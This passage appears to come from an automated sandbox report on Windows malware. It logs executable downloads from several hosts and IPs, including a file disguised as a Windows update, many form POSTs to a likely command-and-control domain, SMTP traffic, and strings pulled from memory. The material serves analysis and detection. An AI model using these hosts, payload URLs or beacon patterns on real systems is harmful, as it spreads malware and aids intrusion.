Source: global traffic	HTTP traffic detected: GET /downloads/toolspab3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: privacy-tools-for-you-780.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hwyvhm.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 177Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://idmvulr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 159Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /install5.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: unicupload.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vooxhw.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://vvdrjru.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 191Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ubjcetayse.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://sxcrq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 146Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /game.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ywlgtk.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://foglcav.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 207Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://hnhyhp.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 113Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://nefwc.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 161Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /6.php HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 185.7.214.171:8080
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fsakwxty.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jcjkx.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lhgju.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 138Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bsjhi.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 268Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bypwmjeu.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://tmxneir.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 199Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ukskogxssc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 185Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://lnvtcbw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 318Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://skipwlik.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 244Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://stogr.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 111Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ldxocdirn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 195Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://usarcmaqw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://drmput.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 309Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wktbs.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 331Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ycnydaydt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 205Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ymgfpln.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 324Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dxepeeelwv.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 245Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rynnvo.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 137Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kahaurdys.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 119Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ttbac.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 242Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://aubfgyajhw.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 204Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ryxvaojf.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 332Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://dusqhhm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 287Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wuqgjbcank.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 200Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://rcwmq.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 178Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fgphlloppj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 112Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fasyb.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 266Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l3.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://qajnwkj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 136Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xcbxaaktm.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 172Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /book/KB5009812.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 74.201.28.62
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://pwvhyavumw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 224Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://elaxxedw.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 235Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://wfytf.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 114Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://phwtttkmh.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 265Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://xdhynq.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/6961_1642089187_2359.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://kpspxwto.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 302Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://fnyafy.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 223Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /files/7729_1642101604_1835.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: data-host-coin-8.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://cwjtumctb.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 148Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://psthjovmnc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 233Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: GET /l2.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: 81.163.30.181
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://takjt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 248Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://umolln.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 188Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://ptkbedc.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 130Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uoymbdayk.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 281Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://mqousgs.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 299Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://uhxofu.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 180Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://gmykjkt.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 155Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://quwfn.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 190Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://plgevhj.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 254Host: host-data-coin-11.com
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://jwsdnsli.com/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 153Host: host-data-coin-11.com

Source: global traffic

TCP traffic: 192.168.2.5:49801 -> 185.7.214.171:8080

Source: global traffic

TCP traffic: 192.168.2.5:49821 -> 40.93.207.0:25

Source: svchost.exe, 0000002F.00000003.411494738.00000137971EE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.411607267.0000013797184000.00000004.00000001.sdmp

String found in binary or memory: http://www.facebook.com/spotify

Source: svchost.exe, 00000007.00000002.554990269.000002A7EAC62000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000003.396019650.00000000053C4000.00000004.00000001.sdmp, WerFault.exe, 0000001A.00000002.399454758.00000000053C4000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000002.430773686.0000013797100000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: svchost.exe, 00000007.00000002.554990269.000002A7EAC62000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000002.430423414.00000137968EB000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	String found in binary or memory: http://help.disneyplus.com.
Source: svchost.exe, 00000007.00000002.536270929.000002A7E56AB000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.microsoft.
Source: svchost.exe, 0000000A.00000002.308487293.0000021A33224000.00000004.00000001.sdmp	String found in binary or memory: http://www.bingmapsportal.com
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.dnet.xboxlive.com
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	String found in binary or memory: https://%s.xboxlive.com
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	String found in binary or memory: https://activity.windows.com
Source: 3BC6.exe, 0000001E.00000002.412827478.0000000003991000.00000004.00000001.sdmp, 3BC6.exe, 0000002D.00000000.408848131.0000000000402000.00000040.00000001.sdmp	String found in binary or memory: https://api.ip.sb/ip
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://appexmapsappupdate.blob.core.windows.net
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	String found in binary or memory: https://bn2.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 00000008.00000002.534681859.0000015FD863E000.00000004.00000001.sdmp	String found in binary or memory: https://co4-df.notify.windows.com/v2/register/xplatform/device
Source: svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Locations
Source: svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Traffic/Incidents/
Source: svchost.exe, 0000000A.00000003.304930787.0000021A33268000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308781800.0000021A3326A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/REST/v1/Transit/Stops/
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000002.308706855.0000021A3324D000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305040244.0000021A33246000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Locations
Source: svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Driving
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Transit
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Routes/Walking
Source: svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/REST/v1/Transit/Schedules/
Source: svchost.exe, 0000000A.00000002.308686012.0000021A33242000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305057096.0000021A33241000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/HumanScaleServices/GetBubbles.ashx?n=
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/mapcontrol/logging.ashx
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?
Source: svchost.exe, 0000002F.00000003.406565308.000001379717C000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406653017.00000137971CE000.00000004.00000001.sdmp, svchost.exe, 0000002F.00000003.406610529.0000013797198000.00000004.00000001.sdmp	String found in binary or memory: https://disneyplus.com/legal.
Source: svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000002.308731259.0000021A3325C000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000003.304991834.0000021A3325A000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000003.305019284.0000021A33240000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t
Source: svchost.exe, 0000000A.00000003.304956046.0000021A33261000.00000004.00000001.sdmp	String found in binary or memory: https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashx
Source: svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/
Source: svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	String found in binary or memory: https://ecn.dev.virtualearth.net/mapcontrol/mapconfiguration.ashx?name=native&v=
Source: svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 0000000A.00000002.308487293.0000021A33224000.00000004.00000001.sdmp, svchost.exe, 0000000A.00000002.308665617.0000021A3323C000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 0000000A.00000003.305050188.0000021A33256000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 0000000A.00000003.283348102.0000021A33231000.00000004.00000001.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
